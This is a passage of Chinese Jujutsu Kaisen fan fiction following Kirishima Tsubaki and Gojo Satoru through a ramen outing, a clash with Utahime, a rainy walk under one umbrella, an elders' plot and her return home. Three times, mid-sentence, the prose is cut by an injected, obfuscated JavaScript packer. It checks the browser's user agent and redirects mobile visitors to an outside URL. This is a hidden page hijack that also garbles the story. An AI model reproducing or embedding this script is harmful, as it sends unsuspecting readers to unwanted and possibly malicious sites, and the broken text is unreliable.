雾岛椿盯着他的背影,陷入了沉思,直到一阵刺耳的尖叫声响起:“啊——!有鬼!有怪物!” 她缓缓转身,只见熙攘的人群自动避让出一条道路,周边的人都对声音的来源避之不及。而刚刚那对母子正狼狈逃离现场,很快消失在街角。 “怎么了?椿。”五条悟拿着一个全新的纸袋,有些疑惑地看着有些骚乱的人群。 雾岛椿摇了摇头,笑着说,“没什么,只是逗逗小孩而已。” “椿什么时候也有恶趣味了?不过点到而止的话,倒也可以找找乐子。”他掏出还在冒着热气的黄油土豆,高兴地晃动着身子,“快看,老板送的!” “那悟也算是因祸得福了。” “椿怎么一点也不意外?真是没意思。”五条悟不满地撅嘴,“你就不好奇他为什么送吗?”他期待地看着她,满脸写着“快问我快问我”。 “很明显啊。”雾岛椿微笑,“因为悟在老板眼里是一个值得奖励的乖小孩。” 毕竟他还顺手将老板摊前其他客人留下的食物残渣也清理了,虽然老板很忙碌不一定能关注到,但善良的人总会留意一些别人不会在意的事。 “咦——直接夸我太迷人就行了。”五条悟想要露出嫌弃的表情,但看起来却更像是在不好意思,“乖小孩什么的,这个说法也太渗人了吧。” “没说错啊,悟才十六,在老板眼里不就是小孩吗?” “……虽然这么说也没错。”但五条悟总觉得哪里有点别扭。 椿知道他在别扭什么,是因为这位习惯保护所有人的“最强”,大概早已忘记自己其实也还在被世界呵护的年纪吧。 两人刚走到小吃街出口,夏油杰和家入硝子就出现了。 夏油杰是一身简单的深色运动服,硝子则穿着帅气的皮夹克和短靴,两人看到雾岛椿的装扮时都愣了一下,但很快便恢复了常态。 “太——慢——了——!”五条悟拖长了调子,像个等得不耐烦的猫,“黄花菜都等凉了!”说着,却把手里的纸袋精准地抛了过去。 夏油杰稳稳接住,摸了摸,挑眉,“不是还热着吗?” “啊?!这也不是你们可以随意迟到的理由!”五条悟不爽撅嘴。 雾岛椿出来打圆场:“悟担心会凉,特意为你们捂着的哦。” “还不感恩戴德!”五条悟立刻扬起下巴,理直气壮地邀功。 “是是是,多谢五条大少爷。抱歉嘛,但迟到的事跟我关系不大。”家入硝子敷衍地摆摆手,咬了一口土豆,含糊地指向夏油杰,“都怪这家伙,临出门还在纠结他那身衣服够不够‘优等生’,烦死了。” “喂,硝子!” “哈?!”五条悟立刻抓住把柄,猛地勒住夏油杰的脖子,“原来是杰在臭美!决定了,下次只给硝子带伴手礼,你就看着吧!” “咳……放手……要噎死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459877|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!” 看着两人闹成一团,硝子懒洋洋地打了个哈欠,看向雾岛椿,“接下来被这位大少爷安排去哪儿?” “可丽饼——”五条悟立刻宣布,仿佛下达指令。 “果然是你自己想吃的吧。” “废话!又不用你们掏钱!”他理直气壮地顶了回去,随即像是忽然想起什么,墨镜后的目光随意地扫向雾岛椿,“你呢?真的没有想吃的吗?” 雾岛椿的目光不经意地掠过对面的那家拉面馆,暖黄的灯光和碗里升起的白雾,她的视线在那诱人的画面上多停留了几秒。 “没有。” “那就这样决定了,我们去吃可丽饼!”五条悟特意观察着雾岛椿的表情,发现她确实没有任何异议。 他抬腿往前走了好几步,又猛地停下脚步,利落地一个转身,墨镜后的眼睛闪烁着恶作剧得逞般的光芒,手臂一伸,揽过夏油杰和硝子的肩膀就往回带。 “——才怪!”他拖长了声音,笑嘻嘻地宣布,“计划改变!突然不想吃可丽饼了,我们去吃拉面!” “哈啊?!你这任性的家伙!”夏油杰试图挣扎。 “随便啦,反正你请客。”硝子倒是很淡定。 “啰嗦!”五条悟完全无视抗议,松开他们,长臂一伸,也把雾岛椿捞进“押送”队伍,推着她往前走,“路痴就乖乖走在前面,走丢了我可不去找你第二次哦。” “走丢?”硝子捕捉到关键词。 “对啊,我只是一秒钟没盯着,一转头她就不在了,真是的,没有我就不行啊。”他得意洋洋地自夸,尾巴都快翘到天上去了。 “是吗?那悟也算做了一件好事。”夏油杰笑着。 “哈?我做的哪件事不是好事?!” 几人吵吵嚷嚷地踏进拉面店。 “叉烧加倍!溏心蛋也要加倍!”五条悟一坐下就噼里啪啦点完单,手指把菜单戳得啪啪响,完全静不下来。 “悟什么时候喜欢吃拉面了?”夏油杰问。 “你管我!” 热腾腾的拉面很快上桌。 他吸溜了一大口,含混不清地问旁边的雾岛椿:“怎么样?” 雾岛椿小口喝着汤,点了点头。 “那就好,我可是特意请你出来吃东西的,不合你胃口的话那也太失败了。”五条悟摇头晃脑地感慨着,“我才不想当一个失败的人啊。” 雾岛椿望着手里的拉面,氤氲的热气中,她恍惚间看见汤面中倒映出一个模糊的幻影—— 一位气质高雅的妇人,正温柔的笑着,将碗中的那片叉烧夹到身边小女孩的碗里。 她们手里的,似乎比自己眼前一碗更加温暖、更加美味。 她眨了眨眼,幻影消失了。 五条悟顺杆爬完,像是忽然想到什么,他看向雾岛椿,墨镜滑下鼻梁,露出那双洞察一切的苍蓝色眼睛,“喂,椿,下学期开始,你得自己出去干活了。” 他语气轻松得像在说明天天气不错,却让桌对面的夏油杰和硝子动作微微一顿。 “总不能一直跟着我跑腿吧?怎么样,怕不怕?” 雾岛椿握着筷子的手微微收紧,但脸上依旧是那副平静温和的样子。她沉默了两秒,随即嘴角勾起一抹淡笑,学着五条悟的姿态回答,“……可别小看我。而且,之前跟着悟,也学到了很多。” “哼~那是当然!”五条悟立刻得意起来,“不过真遇到麻烦记得求救哦,虽然我可能很忙,但赶过去救你的速度肯定比杰快!” “好啊,那就要麻烦悟了。”雾岛椿不知道自己怕不怕,她只后知后觉发现,其实自己碗里的拉面,也很美味。 夏油杰无奈扶额:“……这种比较毫无意义,悟。” 就在这时,一个充满怨念的声音从旁边插了进来。 “呜啊——!我就知道走到哪里都能遇到这个讨厌的白毛!” 众人转头,只见庵歌姬正站在窗外,一脸嫌弃地看着五条悟,手里还提着刚买的蛋糕盒子。 17.自愿 看着面前炸毛的歌姬,五条悟的眼睛瞬间亮了,像是找到了新的玩具。 他猛地站起来,几乎是以瞬移的速度凑到歌姬面前,夸张地推了推鼻梁上那副圆片墨镜。 “哎呀呀——!这不是歌姬吗?好巧哦!”他故意用甜得发腻的声调喊着,把墨镜往歌姬眼前怼,“快看快看!我的新造型!是不是超——级帅?” 歌姬被他的突然靠近吓了一跳,嫌弃地后仰,“什么东西!丑死了!像街边算命的骗子!离我远点!” “而且我都说了要叫前辈吧,尊重啊懂不懂,尊重!” “哈?你果然不懂时尚!这是椿给我特制的咒具!能安抚‘六眼’的超级发明!全世界独一份哦!羡慕吧?嫉妒吧?”五条悟得意地晃着脑袋,墨镜在灯光下反着光。 熟悉的话语让夏油杰微微一怔,总觉得这场面和台词似曾相识。 这家伙想炫耀的心思简直昭然若揭。 “椿?”歌姬愣了一下,目光越过五条悟,看到桌边安静坐着的雾岛椿,眼神里闪过一丝惊讶,随即转为更甚的怒火,“你居然让同期给你做这种东西?!五条悟你这个无可救药的人渣!” “同期可不是你家的仆人!” 她快步走到雾岛椿面前,语气急切:“雾岛,你一定是被威胁了吧?别怕,说出来,前辈给你做主!” 雾岛椿抬起眼,脸上依旧是那副温和的神情,但嘴角的弧度淡了几分,她轻轻摇了摇头,“不是的,歌姬前辈,是我自愿的。” 歌姬看着对方平静的样子,确实不像被强迫,但她实在不愿相信那个白毛混蛋能这么走运,情绪激动地提高了音量,“那你一定是被他骗了!他是不是用什么花言巧语哄你做了不值当的交易?这种家伙最擅长……” “交易?”雾岛椿轻声打断她,这个词让她感到无比厌烦。 她像是忽然想起什么,微微举起手中还没吃完的拉面,偏过头,用一种近乎天真的语气轻声问道,“这个……算吗?” “果然!”歌姬像是抓住了确凿证据,怒火瞬间转向五条悟,“好啊!你这个人渣!一碗面就骗到了一件特制咒具!简直是咒术界最黑的奸商!” “哈?歌姬的听力是被咒灵吃掉了吗?椿都说是自愿的了~” 在两人吵架期间,雾岛椿默默放下了碗筷。 她脸上的温和神色彻底褪去了。 “歌姬前辈,”她开口,声音不大却足够清晰,每个字都像被冰水浸过,“您这是,在为我打抱不平?” 歌姬闻言,正想笑着回应,转头却直直闯入少女平静的目光。 她眼神里没有愤怒,只有一种彻底看透后的、毫不掩饰的疏离。 被这样冰冷的眼神扫视着,歌姬彷佛坠入了冰窖,她嘴微张,却什么话也说不出。 “为什么?” “我们很熟吗?” “我说了是自愿的吧。” “您是想借着这件事跟悟吵架,还是真的想为我说话,我想您心里很清楚。” “我和悟之间,是我认为‘值’,那就足够。这份价值,不需要任何第三方,尤其是……”她顿了顿,视线轻轻扫过歌姬因错愕而僵硬的脸,“尤其是用您那套充满自我感动的标准来评判。” 雾岛椿明白歌姬跟悟不对付,但这不是她能随意带着偏见评价他的理由,而且还是借着为她打抱不平的口来行着她那自以为是的“正义”。 看不惯悟,她甚至可以毫无理由地与他吵架,随时随地,悟根本不会跟她计较。 她们也不是第一次发生争吵。 但挂着“为她出头”这样的名头大可不必。 令人作呕。 她微微弯起嘴角,那笑容里却没什么温度,带着一种礼貌的疏离,“您的好意我心领了。但下次在替别人打抱不平之前,或许可以先确认一下,对方是否真的需要这份‘好意’。” 说完,她不再看歌姬瞬间变得错愕和难堪的脸色,转过身若无其事地吃着面,仿佛刚才那段带着锋芒的话只是随口一提的闲聊。 她的世界很小,只容得下少数她认为“有趣”或“有价值”的人和事。很显然,喋喋不休的说教者并不在此列。 空气仿佛凝固了,拉面店此刻突然响起的轻柔音乐,却显得有些突兀。 夏油杰和家入硝子交换了个眼神,都在对方脸上看到诧异——他们从未见过雾岛椿如此锋芒毕露。 歌姬的脸上一阵红一阵白,雾岛椿的话像一把冰冷的解剖刀,精准地剖开了她“打抱不平”外壳下未曾深思的冒犯。她张了张嘴,却发现任何道歉的话语在此刻都显得苍白无力。 “哇哦——” 一个拖长了调子、一如既往不着边际的声音打破了这令人窒息的沉默。五条悟不知何时又凑了过来,手臂大大咧咧地搭在雾岛椿肩膀上,用着半吊子不着调的语气缓解气氛。 “歌姬~你看你,又把气氛搞得这么严肃~”他歪着头,隔着那副圆墨镜,笑容灿烂得晃眼,“知道你是羡慕椿对我这么体贴啦!不用表现得这么明显嘛!不过嫉妒也没用哦,这可是椿给我的特权!别人都没有哦~” 他这话说得极其混蛋,完全扭曲了事实,却巧妙地给了歌姬一个撤离的借口——将她的失言归结为“嫉妒”和“不会说话”,而不是更深层次的冒犯。 歌姬猛地回过神,脸上还带着未褪尽的窘迫和一丝清晰的愧疚。 她看了一眼依旧垂着眼帘的雾岛椿,嘴唇动了动,最终只是低声道,“……抱歉,是我多管闲事了。” 这句话是对着雾岛椿说的,声音里带着难得的诚恳。 五条悟立刻接话,仿佛没听到那声道歉,只是不耐烦地挥挥手,“知道啦知道啦!快走吧歌姬,你挡着我看甜品单了!”说着还真从口袋里掏出一张皱巴巴的菜单。 歌姬深吸一口气,复杂的目光在五条悟满不在乎的笑脸和雾岛椿冷清的侧颜上停留了一瞬,最终还是顺着这个明显至极的台阶,转身快步离开了,背影甚至有点仓促。 等她走远,五条悟才收回目光,重新瘫回自己的座位,认真地挑选着甜品,漫不经心地抱怨,“歌姬真是的,总是这么吵……” “悟从哪里搞来的甜品单?”夏油杰问道。 “啊,你说这个啊。”五条悟手指了指隔壁,“这家拉面店隔壁就是甜品屋,提供外带服务哦~” “现在才说,我已经吃不下了啦。”硝子懒洋洋地控诉道。 “那是你胃口太小了啦。”五条悟说着,桌下的脚却不着痕迹地、非常轻地碰了一下雾岛椿的鞋尖。 雾岛椿手微微一顿。 她没有抬头,但周身那股冰冷的疏离感,似乎因为这微不足道的一碰,悄然融化了一丝。 “呐~喝杯果汁吧,椿。”五条悟不知从哪里摸来一杯橙汁,推到她面前,指尖在杯壁上轻轻一叩,语气听起来依旧懒散,“再闷头吃下去,一不小心会被噎死哦。” 他忽然放下杯子,双手夸张地掐住自己的脖子,脑袋一歪,吐出舌头,做出一个极其滑稽的窒息鬼脸,“哇~就像这样——‘救、救命,被拉面谋杀啦——’!” 那副圆片墨镜滑到鼻尖,露出后面挤眉弄眼的苍蓝色眼睛,模样滑稽得让人不忍直视。 雾岛椿紧绷的嘴角没忍住,极轻微地向上弯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为点了这么多甜品的罪魁祸首,连拉面都没有吃完。 …… 没消停几天,雾岛椿又从夜蛾正道那儿接到了高层指派的任务。 ——照旧由五条悟陪同。 她扫过任务单上关于咒灵的基础信息,几不可闻地“啧”了一声。尽管内心极度不耐,她脸上却看不出半点情绪。 另一边,正和夏油杰进行着幼稚园级别争吵的五条悟像是察觉到什么,悄无声息溜到她身后,手臂一伸就熟门熟路地勾住她的肩。 “嘛~看来这是本学期最后一次陪椿出任务喽?”他拖长了调子,得意洋洋地晃了晃脑袋,“这副表情……是舍不得我吧?没有我陪在身边,是不是超——孤独?” “放心啦~之后只是减少次数,又不是完全不陪你了~” “并没有觉得孤独。”雾岛椿面无表情地把他的胳膊从自己肩上挪开,将任务单放到一旁,侧过脸看他,声音放轻了些,“倒是你,每次任务都要额外分神照看我,不累么?” “累?怎么可能!只是一些小杂鱼而已。”五条悟先是下意识反驳,随即又撇了撇嘴,小声嘟囔,“……不过确实有点麻烦就是了。” 可他转眼又笑起来,伸手扶了扶脸上那副特制墨镜——那是她不久前送他的咒具——“但是椿会请我吃超~好吃的甜品!还会给我做超~厉害的新装备!” 他那点抱怨瞬间烟消云散,语气变得理直气壮,“看在这些的份上,这点麻烦我就勉为其难不计较啦!” 雾岛椿轻轻笑了一下。 真是有够好哄的。 18.下雨 像往常一样,辅助监督将他们送至咒灵诞生的地点。这次是只准特级,“窗”的判断总算没再出纰漏。 任务过程依旧枯燥,并无什么特别。但雾岛椿这次的行动效率却高得令五条悟都有些侧目——她出手利落,攻势果断,与先前那种“得过且过”的态度截然不同。 咒灵很快被祓除。 值得一提的是,五条悟这次居然破天荒地记得放了“帐”——还抢在雾岛椿之前。 由于时间尚早,五条悟二话不说就把候在外面的辅助监督打发回去,自己则拉着雾岛椿直奔他最爱的喜久福专卖店。 采购过程一切顺利。可就在他们打包好一些喜久福,想带回去给夏油杰和家入硝子当作伴手礼时——天色骤暗,暴雨倾盆而下。 五条悟和雾岛椿,就这样被这场突如其来的大雨,结结实实困在了甜品店里。 杰还在出任务,硝子也忙的脚不沾地,他们都不想为了这点小事浪费辅助监督的时间——咒术师个个都时大忙人,更何况这只是一场普通的雨。 而这里又是人流量比较大的商业街,车俩一律不许开进来,打车也成了奢望。 “哇啊——怎么偏偏是这种时候!”五条悟拎着满满的甜品袋,垮着脸对着店门外倾盆而下的雨幕大声抱怨,仿佛这雨是专门跟他作对似的,“我的毛豆生奶油喜久福要是不新鲜了怎么办!” 雾岛椿倒是很平静地站在屋檐下,看着密集的雨线在地上溅起水花。 “等雨小一点再走吧。”她语气淡然,似乎并不觉得这有什么大不了。 “等?才不要!”五条悟撇撇嘴,墨镜后的蓝眼睛转了转,忽然冒出个主意,“呐呐,椿,我们直接冲回去吧?反正很近,用「苍」稍微加速一下的话……” 他话没说完,就被雾岛椿淡淡瞥了一眼,“悟,你想让夜蛾老师因为‘五条悟在闹市区滥用术式’而再写三千字检讨吗?而且,”她指了指他怀里印着精致logo的纸袋,“喜久福会淋湿。” 她冠冕堂皇地说着连自己都不足以说服的理由,因为她并不是真的在乎普通人会不会受到惊吓,也不在意夜蛾老师后续要编造什么理由来糊弄那些受到惊吓而陷入惶恐的人。她只是莫名其妙不想让他这么做。 或许是因为他被罚写检讨后,又会黏糊糊地凑过来向她撒娇请求帮忙,而她……总是拒绝不了吧。 “唔……可是这周围明明也没多少人啊。”五条悟被噎了一下,看了看怀里珍贵的甜品,又看了看丝毫没有减弱迹象的暴雨,难得地陷入了纠结。 “但是飞到天上绝对会被看见的吧,绝对。”雾岛椿一本正经地补充。 他垮着脸,像只被关在门外的猫,焦躁地在屋檐下来回踱了两步,最后干脆一屁股坐在店门旁的休息长椅上,长腿一伸,耍赖般道,“啊——,那反正带回去也不新鲜了,不如我直接吃了吧。” 话音刚落,五条悟便取出喜久福,一口一个,含糊不清地说道,“没办法,下次再给他们买吧。” “椿要来一个吗?” 雾岛椿摇了摇头,她不是很喜欢吃甜食。 看着他破罐子破摔的样子,她有些无奈,又觉得有点好笑。 她走到他身边坐下,目光扫过旁边不远处,“那边有家便利店,等雨小点,我去买把伞。” 五条悟抬头看了一眼她说的地方,离的虽然不远,但是周围并没有可以遮挡的东西,来回两趟可能都用不上伞了,会被淋成落汤鸡的。 他思考了一会儿,并没有说什么。 然而等了差不多十几分钟,虽然雨已经没有刚刚那样像下冰雹一样的架势,但依旧很大。 五条悟抬眼看向不知什么时候静静站在屋檐下的雾岛椿,她似乎在出神。 心里暗自做了决定,他利落站起身,观察了一下周围——路人寥寥无几,基本都进店躲雨了。他走过去拍了拍她的肩,语气嚣张又得意,“看样子老天不太听话啊,还得看最强的操作才行!” 说完,他也不等雾岛椿反应,指尖微动,一层无形的屏障悄然展开,将他周身笼罩。 雾岛椿看着已然踏入雨中的那个背影,周围淅淅沥沥的雨滴快要落到他身上时都像碰到了什么无形之物,顺着屏障往下滴落。 她怔愣在原地。 是了,五条悟的「无下限」……她几乎快忘了这个事实。 因为他从未在她面前用过这绝对防御,一次都没有。他之前那副焦躁抱怨的模样太过真实,竟让她一时忽略了——这世上能困住他的东西,本就寥寥无几。 原来,大雨阻挡不了他向前的脚步。 是她阻挡了。 一个念头不受控制地窜入脑海: 他一开始没有用,是不想让她觉得……他是可以轻易抛下她先走的吗? 「椿,本来我是可以离开的,但是为了照顾你我只能留下。」 母亲的声音如同幽灵,在雨声中悄然复现。 本是轻柔缱绻的语气却犹如一根毒针,猛地扎进她的心头。雾岛椿轻轻摇了摇头,试图将脑海里那个天真的念头甩出去。 怎么可能? 就连母亲也会常常把“都是为了你”挂在嘴边,恨不得将自己的付出全部倾诉。 明明,这种话才是最符合一个人所拥有的情感需求和心理状态的,就像每个人都需要呼吸一样。 付出之后,说出来向她讨要奖励而已,需要考虑什么? 考虑她会产生心理负担? 不应该是这样的。 每一次“付出”都必须被看见,每一次“牺牲”都要兑换她的愧疚,每一次显露出对她的“爱”都要明码标价,这样才对。这样她得到的爱才是真实的,是她交换所得到的,是永远属于她的。 五条悟这样的人,真是让人百思不得其解。 明明可以自己先回去,她不介意的,本来就没必要管她。 被人扔下…… 本就是常态。 “椿。”少年清亮的声音打断她的思绪。 雾岛椿抬眼望去。 五条悟手里果然撑着一把伞——而且是一把巨大的、看起来足够容纳三四个人的超大号粉色雨伞。而他周身的“无下限”依然开着,伞面干燥如新。 这伞对他来说分明只是个掩护。 她有些惊讶:“怎么买这么大?” “啊,因为感觉太小了会遮不住。”五条悟把伞递过来,说得理所当然。 雾岛椿下意识以为他要和自己撑一把伞,她接过伞撑开,示意他过来,“走吧。” “欸~才不要~”他拖长了声音,语气带着特有的嚣张,“我有无下限,才不会被雨淋到呢。” “你不跟我一起为什么要买这么大的伞?” “嗯?”五条悟外头,彷佛这是一个再明显不过的问题,“伞太小了的话,滴落下来的雨水会溅在鞋子和裤腿上啊!超——讨厌的!椿应该也不希望这样的场景出现吧。”他一脸“你不会不懂吧”的表情。 “这样吗?”雾岛椿确实讨厌,但是她本来以为五条悟是要和她撑同一把伞的。 说完,五条悟迈开长腿,作势就要踏入雨幕之中。 看着他快要踏进雨里的身影,雾岛椿下意识叫出了声: “悟。” 她的声音并不大,却带着一种奇异的、不容置疑的穿透力。 几乎在她话音落下的同时,她的手已经伸了出去——精准地、毫无阻碍地穿过了那层理论上绝对无法被触及的“无限”,一把抓住了他的手腕。 指尖传来的温热触感让两人都顿了一下。 雾岛椿的眼底极快地掠过一丝了然的笑意,快得如同错觉。 “嗯?”五条悟回过头,墨镜滑下鼻梁,露出其后那双写满惊讶和疑惑的苍蓝色眼眸。 “明明有无下限,为什么不自己先走?”雾岛椿轻声问,目光直视他。 “你不是会考虑周围异样眼光的人吧。” 五条悟愣了一下,有点疑惑她为什么会这么问,怎么想也不可能把她一个人丢在这里的吧。 虽然总是被调侃人渣,但他又不是真的人渣。 虽然不理解,但他思索片刻,便说,“当然是因为我一个人回去会很寂寞啊。” 他还顺便撇了撇嘴,像是抱怨天气一样自然,“一个人多没意思,我才不要。椿就陪陪我嘛~” ——陪陪我嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482489|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 雾岛椿的瞳孔微微收缩。 这样吗? 只是因为……这样? 那一个人不顾反对来到高专,不寂寞吗? 一个人出任务,不寂寞吗? 无人理解你那顽劣性格表面下隐藏的真心时,不寂寞吗? 这些,好像都不重要了。 雾岛椿轻笑一声,微微用力,将毫无防备的他拉向自己,拉进那把大伞的庇护之下。 “只是下雨而已,没有必要一直开着术式吧。”她的语气平静却坚定,“你的大脑需要休息,这种小事能不用就不用。” “哈?!你也知道这只是一点小事而已啊,不用这么夸张吧,椿把我当易碎品吗?”五条悟有些不满。 雾岛椿没有直接回答,而是指了指他怀里印着精致logo的纸袋,“持续开着术式,你的大脑负担会加重。之前的喜久福不是白吃了吗?”她表情很平淡,但语气却不容置喙。 手上更是不断用力。 五条悟被她拉得一个趔趄,几乎撞到她身上。他低头看着近在咫尺的雾岛椿,又看了看头顶那把将他完全笼罩的粉色伞盖,撇撇嘴,“……椿好啰嗦。” 话虽如此,他还是散去了周身无形的屏障,老老实实地待在了伞下。雨水啪嗒啪嗒地打在伞面上,形成一片私密的空间。两人并肩走在渐渐变小的雨幕中,分享着同一把大伞下的安静。 五条悟甚至难得地没有吵闹,只是偶尔侧过头,看一眼身边神情专注看着前方路况的雾岛椿,然后又飞快地转回头,嘴角勾起一个几乎看不见的弧度。 其实,偶尔这样不用术式、慢悠悠地走回去,似乎……也不坏。 就是鞋有点脏了。 算了,换一双就行。 彼时,甜品店内的一对情侣正在闹矛盾: “喂,你刚刚明明就是被他帅气的外表迷住了眼对吧,大胆承认就行了,用的着编一些离谱的理由哄骗我吗?”一位人高马大的男子委屈地对着面前的女朋友诉说着自己的不满。 “什么‘那个帅哥好像会避雨术,外面的雨好像完全绕着他走,淋不到他身上’这样奇怪的理由,任谁都不能信服吧?” “还是说,现在你连敷衍我都不愿意了吗?”说着说着,他好像快要哭出来了。 “不是啊……”女生看着他这副架势,有点郁闷又有点慌张,她不知道该怎么解释。 可是,她明明就看到了啊…… “好了好了,对不起嘛,我下次一定先听你说完话,再去看帅哥。”女生最后还是选择放弃跟男朋友的辩驳,毕竟他也确实没看到,这么诡异的事情,或许,真是她看错了也说不定。 不过,她男朋友的反应确实很好玩就是了,于是她接着逗,“毕竟刚刚那个白毛长得真的很华丽啊,还特别高一个,任谁看了都得停下欣赏两眼吧。” “……” 男子像是实在无奈了,妥协道,“……随便你!” 而在他们看不见的店外,被讨论的“白毛帅哥”正撑着一把可笑的粉色打伞,并体贴地歪向身边的黑发少女,但似乎没有用。 外面细小的雨滴斜着飘进伞内,尽数散落在少女的脸上,额前的散发也沾上了水珠。 “抱歉啦,我已经很努力地在打伞了。” “……” 雾岛椿一时脑热,根本没考虑到两人的身高差,她现在感觉自己做的决定很愚蠢,不太想说话。 “椿,椿?” “欸——?你生气了吗?” “……没有。” “悟的肩膀湿掉了……我——”她又想要道歉。 “哦你是想说反正都淋湿了伞也没有用了对吧,正合我意!”他的声音里带着止不住的亢奋,雾岛椿一秒了解到他要干什么,于是飞快地按住他那握住伞柄的蠢蠢欲动的手。 “不是这样的!” “欸?来玩嘛来玩嘛!” “会感冒的笨蛋!” 这样的突发情况吓得椿都没时间伤感了。 因为她知道自己态度不坚决一点,五条悟绝对会真的把伞收起来,然后两人有伞不撑走在大雨中。 会被人当成傻子的! 19.借宿 咒术总监部深处,一间隔绝了一切自然光的和室。空气里沉淀着昂贵的檀香,却压不住那股更为陈腐的、源于权力盘算的冰冷气息。 几盏纸灯笼散发着幽暗的光,勉强照亮围坐在黑檀木桌旁的几道身影。他们的面容在光影交界处显得模糊而威严,如同古老寺庙中褪色的神像—— 慈悲的轮廓下,是硬邦邦的石头。 “夜蛾正道……越来越不识趣了。”一个苍老嘶哑的声音率先划破沉寂。说话的老者指尖缓慢地敲击着桌面,每一次落下都带着不容置疑的重量。 “一次又一次,用‘初次任务’、‘需引导’这等拙劣的借口,将五条悟那小子硬塞到雾岛椿的任务里。他把我们的眼睛当摆设吗?” 他对面,一位身形干瘦的长老发出一声短促而沙哑的轻笑,“庇护。如此直白,甚至懒得加以掩饰。他想用‘最强’做那女孩的盾牌,天真。” 第三位一直闭目拨动念珠的老者缓缓睁开眼,眼底一片混浊,却锐利如鹰隼,“无妨。常规的一级评定协作任务已毕。下一次派遣,将是总监部直接下达的‘独立适应性测试’。届时,夜蛾正道……再无任何立场置喙。” 他的话语落下,一份单薄的纸质档案被无声地推至灯笼光晕之下。纸张边缘泛黄,上面记载着一个少女几乎被世界遗忘的过往。 最先开口的老者伸出枯瘦如鹰爪的手指,划过那些冰冷的文字。 “雾岛椿。祖上全部都是非术师,算是人类中的没落华族,她是最后一点微不足道的血脉。”他的语气平淡,像是在评估一件物品的残值,“母亲一年前病故。不过这都不重要了……” “雾岛家成员全部殁于那场‘意外’的咒灵袭击。她的社会关系网干净得如同白纸。无母族荫庇,无父族倚仗,更与任何外部势力,毫无瓜葛。在觉醒术式之前,更是一个手无寸铁之力的普通人类少女。” “我对她稍微有点印象,夜蛾上报过,要给她修缮宅邸。” “确有此事。”但修没去修,他们就不是很清楚了。 和室内响起几不可闻的、仿佛松了口气的叹息。不是出于怜悯,而是确认猎物已落入掌控的松弛。 “只是一个孤女。”第二位长老总结道,混浊的眼里闪过一丝算计的光芒,“她的术式再特殊,也终究是无根浮萍。正因如此,这份力量,才更应被纳入正确的轨道,加以引导和使用。” 最初发言的老者嘴角缓缓勾起一个没有任何温度的弧度,冰冷而绝对。 “既然如此,下一次任务指令,直接下达至她个人。”他缓缓宣布,声音如同最终的审判,“让我们仔细看看,剥离了五条悟这层护甲,这株被夜蛾小心翼翼藏在温室里的幼苗……究竟能在真正的黑暗土壤里,开出怎样的花。” “或者,”他顿了顿,灯光在他眼中投下深深的阴影,“彻底凋零。” 幽灯摇曳,将几位长老的身影无限拉长,扭曲地投在糊着和纸的墙壁上,如同盘踞的、无声狞笑的恶灵。 决议已定。 帷幕之后,针对“孤女”的试炼,悄然拉开了序幕。 而他们口中的孤女雾岛椿,此刻已然站在自家宅邸的大门前,迎来了第一个入学高专之后难得的假期。 与其说是家,不如说是一片被结界勉强笼罩着的废墟。 夜蛾正道履行了承诺,派了人来修复,但工程显然只进展到结构加固和清理阶段,巨大的破洞被木板临时封钉,外面的一点点光亮肆无忌惮地洒落在地板上。 她推开吱呀作响的大门,走了进去。 空气里弥漫着灰尘、木材腐烂和一种更深层的、咒力残秽混合的冰冷气息。 除了她自己所在的偏院被一个简单的结界保护着还算完好之外,主宅全都是一片狼藉,焦黑的痕迹、墙壁上深刻的爪印、以及那种被巨大力量瞬间摧毁后的破败感,无处不在。 她就是在这里觉醒了术式。 当时那只庞大的、扭曲的咒灵撕碎了她熟悉的一切,她在一片混沌中,感受到体内某种冰冷的东西破壳而出,将那只咒灵连同她残存的“日常”一起,拖入了永恒的幻境牢笼。 那时的她感觉整个人都已经丧失了理智,说不出是在为家人难过,还是在为突然迸发的前所未有的力量而感到兴奋。 直到听到了夜蛾的声音: “要跟我走吗?去咒术高专。” “咒术高专……是什么地方?” “一个很有趣的地方。” “好啊。” 她当时答应得干脆,并非因为找到了归宿或想要变强,仅仅是觉得哪里都无所谓。这个世界无聊透顶,或许换个地方,能找到一点不一样的东西,哪怕只是短暂的乐子。 反正,她也无家可归。 雾岛椿穿过狼藉的走廊,推开了自己卧室的门。这里的空气稍微好一些,但那种无处不在的、废墟般的冰冷感依旧如影随形。 明明她的身体早已随着术式的觉醒而痊愈,那股缠绕她多年的、病痛的窒息感早已消失。 可就在她踏进这个房间的瞬间,一种熟悉的、冰冷的、令人呼吸困难的沉重感猛地攫住了她。仿佛那场大病从未离去,只是化作了无形的诅咒,渗透进了这栋房子的每一寸木材和砖石里,在她踏入的瞬间,便重新缠绕上来,勒紧了她的喉咙。 这里什么都没有变。空旷,冰冷,死寂。和无数的从前一样。 